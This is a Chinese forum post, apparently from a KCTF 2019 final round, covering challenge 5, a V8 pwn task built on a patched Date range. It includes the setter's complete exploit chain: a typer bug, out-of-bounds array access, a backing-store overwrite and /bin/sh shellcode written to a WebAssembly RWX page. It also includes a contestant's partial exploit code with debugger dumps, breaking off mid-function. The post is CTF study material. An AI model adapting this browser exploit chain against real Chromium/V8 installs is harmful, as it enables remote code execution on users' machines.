首页
论坛
课程
招聘
[推荐]2019 KCTF 总决赛 | 第五题《小虎还乡》点评及解题思路
2019-12-18 18:20 2750

[推荐]2019 KCTF 总决赛 | 第五题《小虎还乡》点评及解题思路

2019-12-18 18:20
2750

第五道题《小虎还乡》历时4天,已于13号中午12点关闭攻击通道。此题难度较大,共有1171人围观,最终无人攻破。


1、题目简介


我对这个系统已经有了大概了了解,只要完成任务鸡米花就会升级,而任务完成的同时会触发下一个关卡,而我作为系统里的玩家则需要严格遵守规则。这次的任务是帮助小虎回到自己的家。小虎是谁?他家又在哪里?我周围明明只有一个牵着一头牛的小女孩。我只好走过去问了问她:“小朋友,你知道小虎在哪儿吗?”“我就是呀!”万万没想到小虎居然是个女孩子。“行吧行吧,你家在哪里呀?我送你回家吧?”她摇摇头说自己迷路了。经过一番闲聊我才发现小虎家里有四个姐姐一个弟弟,所有的姐姐都已经离家挣钱了,她因为年龄太小只能做一些体力活。而弟弟则是家里的小皇帝。原来是重男轻女啊,难怪会取小虎这样的名字。这次爸妈让她出来卖掉牛,然而十里八村也没找到卖牛的地方,倒是把自己给走丢了。就让我来拯救你吧!少女![说明:本题一道pwn题]


本道题是KCTF总决赛赛场上目前唯一一道没有人成功破解的题目,可见其难度之大,估计大家也很想知道真正答案是什么。那么话不多说,让我们一起来看一下这道题的点评和详细解析吧。


2、看雪评委crownless点评


这题是作者在审计date相关builtin时想到的,他发现当timestamp在约公元前40万年的时候,计算日期时会计算成负数,所以就有了这道题。原理搞清楚,利用就相对比较简单,但还是要事先阅读一些材料,才能写出正确的利用。


3、出题团队简介


本题出题战队 2019:
简介:盘古实验室安全研究员,目前研究方向为浏览器漏洞。


4、设计思路


出题思路


这题是我在审计date相关builtin时想到的,当时是发现date相关的builtin有固定typer(比如星期就是0-6,日期就是1-31),然而这些builtin的返回值是通过date对象中的timestamp计算的,而这个值可控,我就在想这能不能让他算出一个超过这个范围的值。


结果发现不行,因为如果太大就会变成NaN,导致builtin返回值也都是NaN(在typer的范围内)。但是我发现当timestamp在约公元前40万年的时候,计算日期时会计算成负数,所以就有了这道题。


解题思路


通过range的增大,基本就能想到这是一个功能性问题(new date时会dcheck fail),而一般功能性问题转换成漏洞一般就是使用typer,通过实验也能很快发现getdays会返回超过范围的值。


利用


利用就比较简单了,但是因为bound check elimination加了hardening,所以得参考那个链接来写利用。


链接地址:

https://doar-e.github.io/blog/2019/05/09/circumventing-chromes-hardening-of-typer-bugs/”


相关代码


function dp(x){}//{ %DebugPrint(x);}
const print = console.log;
const assert = function (b, msg)
{
  if (!b)
    throw Error(msg);
};
const __buf8 = new ArrayBuffer(8);
const __dvCvt = new DataView(__buf8);
function d2u(val)
{ //double ==> Uint64
  __dvCvt.setFloat64(0, val, true);
  return __dvCvt.getUint32(0, true) +
    __dvCvt.getUint32(4, true) * 0x100000000;
}
function u2d(val)
{ //Uint64 ==> double
  const tmp0 = val % 0x100000000;
  __dvCvt.setUint32(0, tmp0, true);
  __dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);
  return __dvCvt.getFloat64(0, true);
}
const hex = (x) => ("0x" + x.toString(16));
function getWMain()
{
  const wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
  const wasmModule = new WebAssembly.Module(wasmCode);
  const wasmInstance = new WebAssembly.Instance(wasmModule, {});
  return wasmInstance.exports.main;
}
wmain = getWMain();

function f(d)
{
  const i = d.getDate()
  const arr = [0.1, 1.1, 2.2, 3.3, 4.4,
        0.1, 1.1, 2.2, 3.3, 4.4,
        0.1, 1.1, 2.2, 3.3, 4.4,
        0.1, 1.1, 2.2, 3.3, 4.4,
        0.1, 1.1, 2.2, 3.3, 4.4,
        0.1, 1.1, 2.2, 3.3, 4.4, 5.5];
  gOobArr = [2019.2019];
  arr[31 - i] = 1.04380972957581745180328891149E-310; // Smi(0x1337)
  gAb = new ArrayBuffer(0x321);
  gSig = {a:0xdead,b:0xbeef,c:wmain};
}
evilDate = new Date(-146823844 * 86400000);
// print(evilDate.getDate()) // -10
d = new Date(123)
for (var i = 0; i < 0x20; i++)
{
  f(evilDate);
  f(d);
}
for (var i = 0; i < 0x2000; i++)
{
  f(d);
}
print(f(evilDate));
dp(gOobArr);

assert(gOobArr.length === 0x1337,
  "failed to corrupt array size");
// now gOobArr have OOB access
// next, we find ArrayBuffer and sig
var backingPos, wmainAddr;
for (let i = 0; i < gOobArr.length-2; i++)
{
  if (d2u(gOobArr[i]) === 0x321)
  {// find ArrayBuffer
    backingPos = i + 1;
  }
  else if (d2u(gOobArr[i]) === 0xdead00000000 &&
    d2u(gOobArr[i+1]) === 0xbeef00000000)
  {// find sig object, and extract wmain address
    wmainAddr = d2u(gOobArr[i+2]) - 1;
  }
  if (backingPos !== undefined && wmainAddr !== undefined)
    break; // otherwise GC is triggered
}
assert(backingPos !== undefined, "failed to find ArrayBuffer");
assert(wmainAddr !== undefined, "failed to find sig array");
print("[*] index of backing field = " + hex(backingPos));
print("[*] address of wmain function = " + hex(wmainAddr));
const dataView = new DataView(gAb);

gOobArr[backingPos] = u2d(wmainAddr-0x300);
for (var i = 0; i < 0x300; i+=8)
{
  rwxAddr = d2u(dataView.getFloat64(i, true));
  if ((rwxAddr / 0x1000) % 0x10 !== 0 &&
    rwxAddr % 0x1000 === 0 &&
    rwxAddr < 0x7fffffffffffff)
    break;
}

assert(i !== 0x300, "failed to find RWX page!");

print("[*] RWX page = " + hex(rwxAddr));

gOobArr[backingPos] = u2d(rwxAddr);
// set backing field to rwx page

var shellcode = [
    0x99583b6a, 0x2fbb4852,
    0x6e69622f, 0x5368732f,
    0x57525f54, 0x050f5e54
];
for (var i = 0; i < shellcode.length; i++)
{
  dataView.setUint32(i * 4, shellcode[i], true);
}
// write shellcode to rwx page

wmain();
// execute the shellcode
readline();
throw Error("failed to get shell");


5、解题思路


本题解题思路看雪论坛mb_ibocelll提供:


虽然至今没做出来,但还是辛苦自己了,当笔记记一下吧。基本都是凭感觉,不能确定是否正确,所以要看的话,请保持清醒,避免被误导。


题目里几个文件:

d8是由叫v8的东西编译出来,v8是浏览器的js引擎,linux程序

date.patch是diff的输出,记录了文件的修改。一共修改三个文件。Build.gn里的不知道什么意思,d8.cc里注释了很多函数,只留下readLine,联系到题目要求只提交一行,可以理解。最重要的是data.h,修改了日期的最大值。既然改大了,可能就是溢出,但是具体哪里溢出,怎么溢出,溢出会怎样都与我无关。

natives.blob里是疑似代码的东西,看不懂。snapshot_blob.bin是个二进制文件,搜字符串能找到一些函数,不知道怎么用。

redeme里给出一个commit,直接必应搜索,发现是v8的git的某种标识。因为某些不可描述的原因,最后在gitee注册个账号进去看到了对应源码分支,日期是13天前。


盲猜题主应该是在这个版本的基础上修改,制造了一个漏洞。于是看date.h和date.cc等,发现最终是被timeClip调用,查询timeClip,发现:http://www.ecma-international.org/ecma-262/6.0/#sec-timeclip
也就是说timeClip决定了Date构造时数据范围。

命令行测试:

V8 version 8.0.0 (candidate)
d8> a=864000000;b=15000000;c=a*b;new Date(c)
Sun Jan 20 412656 08:00:00 GMT+0800 ()
d8> c+1
12960000000000000
d8> c+2
12960000000000002
d8> c-1
12960000000000000

比较(864000000) * 10000000和(864000000) * 15000000可以发现,二进制下后者比前者多一位,刚好达到v8里的某个界限,整数已经不能连续表示了。
以上分析都没什么用,只能知道原来pwn是这样的。我还是去赶ddl吧。

经过几天的操作,终于追上了ddl,好像一下子就变闲了。睡了一下午起来正好看到公众号推送里给了提示,于是决定再看看。

一、漏洞查找


提示里的这篇文章circumventing-chromes-hardening-of-typer-bugshttps://doar-e.github.io/blog/2019/05/09/circumventing-chromes-hardening-of-typer-bugs/(我觉得可能很多人都没看到),提到并演示了一种漏洞。

因为是英文的,很多词都不认识有懒得翻译,所以我看得很快,跳过了很多分析,只知道大概:v8会对函数的代码进行优化,例如删除某些永远不会到达的分支。
每个数值变量都有一个对应的Type,给出这个变量数字的范围(Range),在作为索引访问数组时,优化器如果判定这个数字的最大变化范围全都不会超出数组索引范围,“不可能”造成越界,就会去掉检查索引越界的代码,这个判断由Range实现。

原文里展示的漏洞中,Range为[0,MaxLength-1],而实际上却是MaxLength,在数学运算后,Range变为[0,0],实际数字为1,于是可以实现访问任意索引而不触发越界检查的效果。

于是在github的v8镜像搜索【Type Date】,最终找到如下代码:

//v8/src/compiler/type-cache.h
//.....................
// A time value always contains a tagged number in the range
  // [-kMaxTimeInMs, kMaxTimeInMs].
  Typeconst kTimeValueType =
      CreateRange(-DateCache::kMaxTimeInMs, DateCache::kMaxTimeInMs);
 
  // The JSDate::day property always contains a tagged number in the range
  // [1, 31] or NaN.
  Typeconst kJSDateDayType =
      Type::Union(CreateRange(1,31.0), Type::NaN(), zone());
 
  // The JSDate::hour property always contains a tagged number in the range
  // [0, 23] or NaN.
  Typeconst kJSDateHourType =
      Type::Union(CreateRange(0,23.0), Type::NaN(), zone());
 
  // The JSDate::minute property always contains a tagged number in the range
  // [0, 59] or NaN.
  Typeconst kJSDateMinuteType =
      Type::Union(CreateRange(0,59.0), Type::NaN(), zone());
 
  // The JSDate::month property always contains a tagged number in the range
  // [0, 11] or NaN.
  Typeconst kJSDateMonthType =
      Type::Union(CreateRange(0,11.0), Type::NaN(), zone());
 
  // The JSDate::second property always contains a tagged number in the range
  // [0, 59] or NaN.
  Typeconst kJSDateSecondType = kJSDateMinuteType;
 
  // The JSDate::value property always contains a tagged number in the range
  // [-kMaxTimeInMs, kMaxTimeInMs] or NaN.
  Typeconst kJSDateValueType =
      Type::Union(kTimeValueType, Type::NaN(), zone());
 
  // The JSDate::weekday property always contains a tagged number in the range
  // [0, 6] or NaN.
  Typeconst kJSDateWeekdayType =
      Type::Union(CreateRange(0,6.0), Type::NaN(), zone());
 
  // The JSDate::year property always contains a tagged number in the signed
  // small range or NaN.
  Typeconst kJSDateYearType =
      Type::Union(Type::SignedSmall(), Type::NaN(), zone());


仔细一看,完全找不出问题,修改的是KMaxTimeInMs,而这里kTimeValueType也是用的这个数值,会同步变化。

月份、日期、小时这些的范围全是公认的,也不会错。唯一不太一样的是Year,但是这里SignedSmall名字是Small,其实是32或者31位的有符号数,上面测试已经展示,最大的年份只有四万多,不可能超出Range范围。

打算放弃的时候,想起一个问题:时间的范围包括负数?包括timeClip里也是:

if(-kMaxTimeInMs<=time&&time<=kMaxTimeInMs){ ...

也就是说Date接受负数作为参数?因为对JS不了解的原因,感觉Date可以是负数很新奇,于是在命令行测试了一下:

d8> a=864000000;b=15000000;c=-a*b;new Date(c)
Mon Jan -18 -408716 08:00:00 GMT+0800 ()

还真的可以,年份都到负四万了。

准备退出的时候才发现了亮点,不仅年份是负的,日期也是负的。再看这个Type:

Typeconst kJSDateDayType =
      Type::Union(CreateRange(1,31.0), Type::NaN(), zone());

正常人都知道日期是1到31之间,这非常正常,但是这偏偏算出一个-18。具体为什么会这样我也不知道,也不想管,反正确实是莫名其妙的就发现了问题所在。
到这一步,大佬都可以散了。但是对我这种萌新来说,后面才是真的难点。

二、漏洞利用


主要看了几篇文章:

从一道CTF题零基础学V8漏洞利用
https://www.freebuf.com/vuls/203721.html

利用边界检查消除破解Chrome JIT编译器
https://zhuanlan.zhihu.com/p/73081003

v8 exploit入门[PlaidCTF roll a d8]
https://xz.aliyun.com/t/5190

Exploiting the Math.expm1 typing bug in V8
https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/

其中英文的没仔细看,中文的也没仔细看,主要是想抄第一篇里的exp代码,并且学着下载使用了gdb,pwngdb等。

实现越界访问


修改提示文章里提供的代码,最后大概长这样(凭记忆恢复。

SUCCESS = 0;
FAILURE = 0x42;
let it = 0;
var opt_me = () => {
  const OOB_OFFSET = 5;
  let badly_typed =new Date();badly_typed.setTime(-864000000*15000000);badly_typed=Date.prototype.getDate.call(badly_typed);
  badly_typed = Math.abs(badly_typed-16);//[0,15]--real:34
  badly_typed = badly_typed >>5;//range (0,0)--real:1
  let bad = badly_typed * OOB_OFFSET;
  let leak = 0;
  if (bad >= OOB_OFFSET && ++it < 0x10000) {
    leak = 0;
  }
  else {
    let arr = new Array(1.1,2.3,3.4);
    arr2 = new Array({},{});
    leak = arr[bad];
    if (leak != undefined) {
        console.log(leak);console.log(bad);console.log(arr[bad]);
      return leak;
    }
  }
  return FAILURE;
};
 
let res = opt_me();
for (let i = 0; i < 0x10000; ++i)
  res = opt_me();
%DisassembleFunction(opt_me); // prints nothing on release builds
for (let i = 0; i < 0x10000; ++i)
  res = opt_me();
print(res);
%DisassembleFunction(opt_me); // prints nothing on release builds

但是命令行出来结果长这样:


可以发现索引是5,取出来的是1.1也就是索引0的元素,并且再次使用变成undefined,应该是Range已经变成正常或者这里没有优化。

当时猜的是Range为[0,0]直接被当成0用,所以想的是把range改为[0,1],总不能随机选一个吧。但是写到这里的时候又调试了一下,才发现不是这个问题。
在log后面加上:

%DebugPrint(arr);%DebugPrint(arr2);%SystemBreak();

pwndbg里输出:
1.15undefined0x1372cba5e9b1 <JSArray[3]>0x2505583f7871 <JSArray[2]>
然后用命令telescope看:

pwndbg> telescope0x1372cba5e9b0  //arr
00:0000│0x1372cba5e9b0 —▸0x14edde6c2b49 ◂—0x400000088aa3001
01:0008│0x1372cba5e9b8 —▸0x88aa300b21 ◂—0x88aa3007
02:0010│0x1372cba5e9c0 —▸0x2505583f7891 ◂—0x88aa3010//arr的元素指针
03:0018│0x1372cba5e9c8 ◂—0x300000000
pwndbg> telescope0x2505583f7870//arr2
00:0000│0x2505583f7870 —▸0x14edde6c2bd9 ◂—0x400000088aa3001
01:0008│0x2505583f7878 —▸0x88aa300b21 ◂—0x88aa3007
02:0010│0x2505583f7880 —▸0x2505583f7851 ◂—0x88aa3007//arr2的元素指针在自己前面
03:0018│0x2505583f7888 ◂—0x200000000
04:0020│0x2505583f7890 —▸0x88aa301071 ◂—0x88aa3001 //arr的元素实际地址
05:0028│0x2505583f7898 ◂—0x300000000
06:0030│0x2505583f78a0 ◂—0x3ff199999999999a
07:0038│0x2505583f78a8 ◂—0x4002666666666666

arr和arr2被分配到不同的位置。每个数组主题包括四个8字节数据,第一个是Map,第二个不知道,第三个是放元素的位置,第四个是长度。

可以发现两个数组map不同,一个是2b49,一个是2bd9(其实实验过程中发现float map和object map总是只有后两位有差距,并且总是2b49和2bd9,所以得到一个可以算出另一个,但是不能确定是否机器问题)

更重要的是,两个数组地址差别极大,前一个的元素被分到了第二个数组的后面,第二个数组的元素被分到自己前面。

两个最大的差别就是let,删除let后得到:
3.1692334797154e-3105undefined0x3a57278777a9 <JSArray[3]>0x3a5727877859 <JSArray[2]>

pwndbg> telescope0x3a5727877780 //arr的元素
00:0000│0x3a5727877780 —▸0x35d57be41071 ◂—0x35d57be401
01:0008│0x3a5727877788 ◂—0x300000000
02:0010│0x3a5727877790 ◂—0x3ff199999999999a
03:0018│0x3a5727877798 ◂—0x4002666666666666
04:0020│0x3a57278777a0 ◂—0x400b333333333333 ('333333\x0b@')
pwndbg> telescope0x3a57278777a8  //arr
00:0000│0x3a57278777a8 —▸0x1f74ef582b49 ◂—0x4000035d57be401
01:0008│0x3a57278777b0 —▸0x35d57be40b21 ◂—0x35d57be407
02:0010│0x3a57278777b8 —▸0x3a5727877781 ◂—0x35d57be410//arr元素指针在自己前面
03:0018│0x3a57278777c0 ◂—0x300000000
04:0020│0x3a57278777c8 —▸0x1f74ef580431 ◂—0x7000035d57be401//????
05:0028│0x3a57278777d0 —▸0x35d57be40b21 ◂—0x35d57be407
... ↓
07:0038│0x3a57278777e0 —▸0x35d57be40469 ◂—0x35d57be404
//中间内容未知,大概率是为{}分配的
pwndbg> telescope0x3a5727877858  //arr2
00:0000│0x3a5727877858 —▸0x1f74ef582bd9 ◂—0x4000035d57be401
01:0008│0x3a5727877860 —▸0x35d57be40b21 ◂—0x35d57be407
02:0010│0x3a5727877868 —▸0x3a5727877839 ◂—0x35d57be407//arr2指针在自己前面
03:0018│0x3a5727877870 ◂—0x200000000
04:0020│0x3a5727877878 —▸0x35d57be404f1 ◂—0x2000035d57be401//???
05:0028│0x3a5727877880 —▸0x3a5727877781 ◂—0x35d57be410
06:0030│0x3a5727877888 —▸0x35d57be404f1 ◂—0x2000035d57be401
07:0038│0x3a5727877890 ◂—0xc347058692250000

顺便看一下存放元素的位置,对浮点数组arr来说就是0x3a5727877780,刚好在数组本身前面,第一个不知道是什么,第二个也是长度,后面三个是实际的元素。如果取arr[3],刚好是数组的map。上面文章里oob就是这么用的。我本来想抄文章里的exp,因此决定把这个当成oob用。

实际上我没有发现是let的问题,采用了另一种方法,对索引加了几层数学运算,并且让range不是[0,0],最后也成功的实现越界读取。具体什么原理的我也不知道。

badly_typed =Math.abs(badly_typed-18);
  badly_typed = badly_typed >>4;//range (0,1)--real:2
  let bad =(badly_typed&0xff)+1;//real:3
  //...let arr=[1.1,2.2,3.3];

之前在测试的时候,我印象里开始时用let和var以及不用很多时候内存分布是一样的,都是元素紧贴在数组后面或者前面,后来把代码复制到另一个文件里出现了错误,调试才发现let的内存分布不一样,但是原本用let的文件仍能正常运行。

今天重新测试,发现结果又有了变化,之前的结果部分无法复现,可能之前就是错的,能复现的也不清楚原因,改都不敢改,仿佛只是一个重启的时间,世界线发生了变动,或者内存分配方式被更新了。也可能是昨天没睡醒。说实话写到这有种道心崩溃的感觉。

总之原来的想写的内容全部放下,结合之前就已经遇到过的一些问题,先确认下内存分布的具体情况。

内存分布测试


let ele={x:2};%DebugPrint(ele);
let arr1=new Array(1.2,2.3);let arr2=[ele,ele,ele];%DebugPrint(arr1);%DebugPrint(arr2);
     %SystemBreak();


这段代码是之前测试内存分配时用过的,结果很简单,用new Array产生的数组对象元素在自己后面,直接用[]产生的数组元素在自己前面。重要的是两者连续。
因此假如就这么简单的话,用连续两个new Array产生的数组,前一个读写后一个的map,非常轻松。但是实际上在上一节中已经展示过,运行过程中可能不是连续的,new Array产生的数组也可能元素在自己前面(有的文章里说总是在前面)。

有几个可疑的地方,之前的数组是在函数里申请的,有分配到堆或者栈的问题,加上优化,以及中间申请的变量,甚至内存回收等等。

可能的情况有很多,new Array和[],let,var和什么都不用,函数外和函数内,全局变量作为元素,参数作为元素,预先定义元素再构造数组或者直接在数组定义里用{}这类,以及元素可能的类型等等。一一探索真是太痛苦了,也没什么必要,先简化一下问题。

要实现漏洞利用,必须触发优化,经过测试,如果用外部定义的全局变量作为数组或者参数作为越界访问的数组,都会失败。最有可能的原因是优化器只会优化长度确定的数组。

我尝试在函数开头加上对数组长度的校验,只有固定长度的数组能进入后续的分支,希望能够向优化器暗示数组长度,但是不知道是方法有问题还是优化器没智能到这种程度,并没有成功。因此实际使用的越界访问的数组必须是临时产生的,并且是在函数经过优化之后的。

let t=0;
function main(obj){
    let arr1=new Array(1.2,2.3,3.4);let arr2=[1.2,2.3,3.4];
// let arr3=new Array({},{},{}); let arr4=[{},{},{}];
    let arr5=new Array(obj,obj,obj);let arr6=[obj,obj,obj];
    var arr7=new Array(1.2,2.3,3.4);var arr8=[1.2,2.3,3.4];
// var arr9=new Array({},{},{}); var arr10=[{},{},{}];
    var arr11=new Array(obj,obj,obj);var arr12=[obj,obj,obj];
    arr13=new Array(1.2,2.3,3.4); arr14=[1.2,2.3,3.4];
// arr15=new Array({},{},{}); arr16=[{},{},{}];
    arr17=new Array(obj,obj,obj); arr18=[obj,obj,obj];
    if(++t>0x10000){
    %DebugPrint(obj);
    console.log("---------------------------");
    %DebugPrint(arr1);%DebugPrint(arr2);
// %DebugPrint(arr3);%DebugPrint(arr4);
    %DebugPrint(arr5);%DebugPrint(arr6);
    console.log("---------------------------");
    %DebugPrint(arr7);%DebugPrint(arr8);
// %DebugPrint(arr9);%DebugPrint(arr10);
    %DebugPrint(arr11);%DebugPrint(arr12);
    console.log("------------------------------");
    %DebugPrint(arr13);%DebugPrint(arr14);
// %DebugPrint(arr15);%DebugPrint(arr16);
    %DebugPrint(arr17);%DebugPrint(arr18);
     %SystemBreak();
    }
}
var obj={x:0.123};
%DebugPrint(obj);
for(let i=0;i<0x10000;i++)
    main(obj);
main(obj);
%DebugPrint(obj);

根据输出地址一个个看内存分布,发现了各种奇怪的事情。

先看不优化的,将判断次数的语句去掉,看第一次调用函数的结果:

0x203a2bb05061 <Object map = 0x2fcf654c6da9>0x203a2bb05061 <Object map = 0x2fcf654c6da9>0x203a2bb05229 <JSArray[3]>0x203a2bb05299 <JSArray[3]>0x203a2bb052b9 <JSArray[3]>0x203a2bb05329 <JSArray[3]>---------------------------0x203a2bb05349 <JSArray[3]>0x203a2bb053b9 <JSArray[3]>0x203a2bb053d9 <JSArray[3]>0x203a2bb05449 <JSArray[3]>---------------------------0x203a2bb05469 <JSArray[3]>0x203a2bb054d9 <JSArray[3]>0x203a2bb054f9 <JSArray[3]>0x203a2bb05569 <JSArray[3]>

传进去的参数和外部相等,符合对象和指针的基本知识。检查内存,发现与之前分析一致:new Array元素在后面,[]元素在前面,全部连续。

如果在中间加上[{},{}]这种,就会导致和上一个数组间出现不连续的内存,应该是为{}分配的,因此实际使用还是避免临时产生对象。

接着看优化过的,这里出现了最让人惶恐的情况。

一开始我没有加console.log作为输出的分割符号,输出是这样的:
0x1d4b61704f81 <Object map = 0x13737e786da9>0x0e407fb40119 <Object map = 0x13737e786da9>0x379d9d9f8d21 <JSArray[3]>0x379d9d9f8d69 <JSArray[3]>0x379d9d9f8d89 <JSArray[3]>0x379d9d9f8df9 <JSArray[3]>0x379d9d9f8e41 <JSArray[3]>0x379d9d9f8e89 <JSArray[3]>0x379d9d9f8ea9 <JSArray[3]>0x379d9d9f8f19 <JSArray[3]>0x379d9d9f8f61 <JSArray[3]>0x379d9d9f8fa9 <JSArray[3]>0x379d9d9f8fc9 <JSArray[3]>0x379d9d9f9039 <JSArray[3]>

因为不太好看,所以加上console.log作为分隔符,然后变成了:
0x28e3bd344f81 <Object map = 0x75efc3c6da9>0x147435980119 <Object map = 0x75efc3c6da9>0x3515f3616b81 <JSArray[3]>0x3515f3616bc9 <JSArray[3]>0x3515f3616be9 <JSArray[3]>0x3515f3616c59 <JSArray[3]>---------------------------0x1874d0e5e849 <JSArray[3]>0x1874d0e5e869 <JSArray[3]>0x3515f3616c79 <JSArray[3]>0x1874d0e5e889 <JSArray[3]>---------------------------0x3515f3616ce9 <JSArray[3]>0x3515f3616d31 <JSArray[3]>0x3515f3616d51 <JSArray[3]>0x3515f3616dc1 <JSArray[3]>

对象作为参数传进去地址发生了变化,问题不大(返回之后再打印发现对象本身的地址已经改变了,和参数一致)。重要的是加了log之后数组被分别分到了两个段(???)。

0x18这段前两个,对应var new Array(1.2,2.3,3.4)和var [1.2,2.3,3.4],其元素在0x35这边,最后一个对应var [obj,obj,obj],元素刚好在自身之后。而0x35的较为正常,除了new Array(obj,obj,obj)的元素在数组后面意外,其余都在数组前面。(如果把{}{}那几行加上的话,let的结果也会变成var那样,这大概也许可能就是之前总是出错的原因。)

优化器的行为实在令人迷惑,各种变化,导致难以写出能正常使用的利用代码。但是单从以上结果,还是能发现一种较为稳定的方法,就是new Array(obj,obj,obj),不管let,var,,也不管有没有优化,有没有consle.log,都是元素紧贴在数组后(参数obj改为浮点数也没有问题,但如果obj不是参数,而是函数内部重新定义的话,情况还会改变。)

当然这只是测试结果,后面调用会不会因为各种神奇的原因发生改变仍然是未知的。看到这里有兴趣的同学可以再测试。

(加在代码中发现参数为浮点数时let new Array和var new Array都不行,又变成分开的了。。。所以最佳方式是不加let和var直接new Array,但是这种方法我没有在任何js教程中见过,不知道特殊在哪,语法上到底对不对)(补:不加let和var是全局变量或者windows属性,严格模式下不能用。另外刚刚测试在正式代码里用let[]能连续分配,用let new Array连溢出都没有原因未知)

接下来就用传递参数和new Array的方式来重写之前不知道对不对的代码。(还是算了,鸽了鸽了,原因可能是上一个括号,也可能是2.4的结尾)

 读写map


v8数组越界的漏洞利用,都是获取map和修改map。数组取元素时,通过map来得知元素类型,然后找到元素地址,取出元素。

在内存里,对于一般数字的表示,都是直接写成16进制,那种不好表示的,比如特别大或特别小的,有一个类型叫HeapNumber,实际存储的时,存储的还是原来数字的16进制值,只是用变量接收的时候会创建一个HeapNumber值,DebugPrint显示出来不一样,实际计算使用会用本身的值(本来以为存的是个HeapNumber地址的,还好又看了一次):

let arr1=new Array(-864000000*15000000,2.3,3.4);
 %DebugPrint(arr1);%DebugPrint(arr1[0]);%SystemBreak();

0x2eab56a44cb9 <JSArray[3]>0x2eab56a44d01 <HeapNumber -1.296e+16>

数组元素是:

00:0000│   0x2eab56a44cd8 —▸ 0xcadc01071 ◂— 0xcadc00101:0008│   0x2eab56a44ce0 ◂— 0x30000000002:0010│   0x2eab56a44ce8 ◂— 0xc34705869225000003:0018│   0x2eab56a44cf0 ◂— 0x400266666666666604:0020│   0x2eab56a44cf8 ◂— 0x400b333333333333
HeapNumber是:
00:0000│   0x2eab56a44d00 —▸ 0xcadc004f1 ◂— 0x20000000cadc00101:0008│   0x2eab56a44d08 ◂— 0xc34705869225000002:0010│   0x2eab56a44d10 ◂— 0x0... ↓

而对于对象,存储的是地址+1。

因为数组元素和map靠得很近,都在同一块,所以越界读写可以获取并修改map,然后让数组返回的时候把对象地址+1当成浮点数,或者把浮点数当成对象地址+1。

加入数组的Map和元素根本不在一块,比如开始时let的问题,把数组固定大小为4的部分放在一处,所有元素放在另一处,越界读写改的也是元素,那就很难利用了。

一开始是打算当offbyone用,也就是只越界一位。一般情况下元素在数组前面,所以读到的是自己的Map。浮点数数组用浮点数格式读到浮点数组的,对象数组用object格式读到对象数组的map:0x01e8d7f82bd9 <Map(PACKED_ELEMENTS)>。(不管什么对象,对象数组的Map都是同一个)

因为要等优化完才能成功,需要判断是否成功读写。读的话,判断越界是否返回undefined即可,而对于写,写成功会直接改变数组长度,因此可以判断数组长度是否改变来决定是否写成功。

但是写map的时候,要修改自身的map,就要向浮点数组里写入格式为对象的对象数组Map,对象数组里写入格式为浮点数的浮点数组Map。关于具体类型的转换我不太清楚,硬着头皮写程序会各种出错停止运行,也不知道是不是类型问题。

比如:
# Fatal error in , line 0# Check failed: instance_type() == other.instance_type()....03:0018│          0x7ffffffed288 ◂— 'Check failed: instance_type() == other.instance_type().'...─────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────── ► f 0          8d04f72 v8::base::OS::Abort()+18   f 1          8d021ed   f 2          85fc9d7   f 3          85f714f v8::internal::MapUpdater::FindRootMap()+159   f 4          85f853e v8::internal::MapUpdater::Update()+14...

在多次失败后,考虑用浮点数读出map,再用浮点数写入。上面的有篇文章里提到对象数组的Map可以由浮点数组的Map计算得出,测试发现每次对象数组和浮点数组的Map的确是相对固定的。

这样可以得到浮点数格式的对象数组Map,写入到浮点数组里,可以将浮点数转为对象,也可以得到对象形式的浮点数组Map。

另一种方法是使得元素在数组Map之后,在内存连续分配的情况下,越界刚好可以读写后一个数组的Map,于是可以在目标前面放一个浮点数组,专门用来越界读写。

在元素在数组前的情况,因为这里实际上不是offbyone,越界可以不止一位,所以还是可以读写下一个数组的Map,之前没有确认内存分布的情况下用的就是这种方法:

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var xxx=0.133599;
var objcache=[];
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}
SUCCESS = 0;
FAILURE = 0x42;
let it = 0;
var opt_me = (ele) => {return map of arr ele
  let badly_typed =new Date();badly_typed.setTime(-864000000*15000000);badly_typed=Date.prototype.getDate.call(badly_typed);
  badly_typed = Math.abs(badly_typed-18);
  badly_typed = badly_typed >>4;//range (0,1)--real:2
  let bad =Math.abs(Math.abs(Math.abs((badly_typed&0xff)*4-2)*2-2)*2-4);
  var leak;
 
  if (++it < 0x10000) {
    leak =undefined;
  }
  else {
    arr=[1.2,2.3,4.1,10.0,6.2];
    arr2 = [ele,ele,ele,ele,ele];//victim
// let arr3 = [ele,ele,ele,ele,ele];//victim2
    leak = arr[bad];
    if (leak != undefined) {
      return leak;
    }
  }
  return FAILURE;
};
var res = opt_me(xxx);
for (let i = 0; i < 0x10000; ++i){
  res = opt_me(xxx);
}
var fmap=xxx;
for (let i = 0; i < 0x10000; ++i){
  fmap = opt_me(xxx);
  if(fmap!=FAILURE)break;
}
console.log("float map:0x"+fmap);
var omap=undefined;
for (let i = 0; i < 0x10000; ++i){
  omap = opt_me({x:xxx,y:"012"});
  if(omap!=FAILURE)break;
}
console.log("object map:"+omap);
let it2 = 0;
function opt_getaddr(ele){ //return addr of ele,use fmap
  let badly_typed =new Date();badly_typed.setTime(-864000000*15000000);badly_typed=Date.prototype.getDate.call(badly_typed);
  badly_typed = Math.abs(badly_typed-18);
  badly_typed = badly_typed >>4;//range (0,1)--real:2
  let bad =Math.abs(Math.abs(Math.abs((badly_typed&0xff)*4-2)*2-2)*2-4);//real:16
  var leak;
  if (++it2 < 0x10000) {
    leak = undefined;
  }
  else {
     arr=[xxx,xxx,xxx,xxx,xxx];
     arr2 = [ele,ele,ele,ele,ele];//victim
    arr[bad]=fmap;
    if (arr.length==5) {
        leak=arr2[0];
      return leak;
    }
  }
  return FAILURE;
}
let it3 = 0;
function opt_fakeobj(ele){//return obj on addr ele,use omap
